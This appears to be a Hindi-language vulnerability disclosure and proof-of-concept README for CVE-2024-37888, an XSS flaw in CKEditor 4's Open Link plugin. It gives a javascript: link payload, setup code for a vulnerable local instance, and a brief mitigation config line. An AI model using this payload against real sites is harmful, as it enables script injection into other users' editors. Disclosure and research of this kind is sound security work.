
CKEditor 4 के Open Link Plugin के लिए XSS PoC/Exploit
यह रिपॉज़िटरी CVE-2024-37888 के लिए भेद्यता विवरण और एक्सप्लॉइट का दस्तावेज़ीकरण करती है, जिसे Anurag Mondal (7Ragnarok7) द्वारा 21 मई, 2024 को खोजा और रिपोर्ट किया गया था।
यह प्रूफ़ ऑफ़ कॉन्सेप्ट (POC) Open Link प्लगइन में हाल ही में मेरे द्वारा खोजी गई एक XSS भेद्यता के शोषण को प्रदर्शित करता है, जो सक्षम होने पर CKEditor 4 के सभी संस्करणों को सीधे प्रभावित करता है। यह त्रुटि एडिटर के भीतर तैयार किए गए लिंक के माध्यम से JavaScript निष्पादन की अनुमति देती है, जिन्हें प्लगइन सैनिटाइज़ करने में विफल रहता है। इस त्रुटि का शोषण टेक्स्ट क्षेत्र के भीतर केवल तभी किया जा सकता है जब Open Link प्लगइन इंस्टॉल हो। Open Link प्लगइन हमें संपादन क्षेत्र के भीतर सीधे लिंक खोलने की अनुमति देता है।
इस भेद्यता का परीक्षण यहाँ उपस्थित पूर्व-कॉन्फ़िगर किए गए CKEditor इंस्टेंस से किया जा सकता है।
पेलोड डालें:
CKEditor इंस्टेंस खोलें और "Source" आइकन पर क्लिक करें।
टेक्स्ट क्षेत्र में निम्नलिखित पेलोड डालें:
<a href="javascript:alert('XSS Found')">XSS</a>

WYSIWYG मोड पर स्विच करें:

XSS ट्रिगर करें:

आप निम्नलिखित चरणों का पालन करके इस भेद्यता का परीक्षण करने के लिए अपना स्वयं का स्थानीय इंस्टेंस सेट कर सकते हैं।
CKEditor 4 डाउनलोड करें:

Open Link प्लगइन इंस्टॉल करें:
ckeditor/plugins/openlink निर्देशिका में रखें।
OpenLink प्लगइन को शामिल करने के लिए कॉन्फ़िगरेशन अपडेट करें:
config.js फ़ाइल को संशोधित करें और अंत में निम्नलिखित पंक्तियाँ जोड़ें:config.extraPlugins = 'openlink';
config.linkShowTargetTab = false; // Hide link target tab
config.openlink_modifier = 0; // No modifier for opening links
config.openlink_enableReadOnly = true; // Allow links to open in read-only mode
config.js:CKEDITOR.editorConfig = function( config ) {
// Define changes to default configuration here.
config.extraPlugins = 'openlink';
config.linkShowTargetTab = false;
config.openlink_modifier = 0;
config.openlink_enableReadOnly = true;
};
HTML में CKEditor शामिल करें:
<!DOCTYPE html>
<html>
<head>
<script src="path/to/ckeditor/ckeditor.js"></script>
</head>
<body>
<textarea name="editor1" id="editor1"></textarea>
<script>
CKEDITOR.replace('editor1');
</script>
</body>
</html>

यह भेद्यता Open Link प्लगइन के कोड बेस में पाई गई है, न कि CKEditor 4 कोडबेस में। उपरोक्त POC CKEditor 4.*.* में Open Link प्लगइन के माध्यम से एक XSS भेद्यता के शोषण को प्रदर्शित करता है। यह त्रुटि विशेष रूप से तैयार किए गए लिंक के माध्यम से मनमाने JavaScript निष्पादन की अनुमति देती है, जो एक महत्वपूर्ण सुरक्षा जोखिम उत्पन्न करती है।
config.disallowedContent = 'a[onclick]';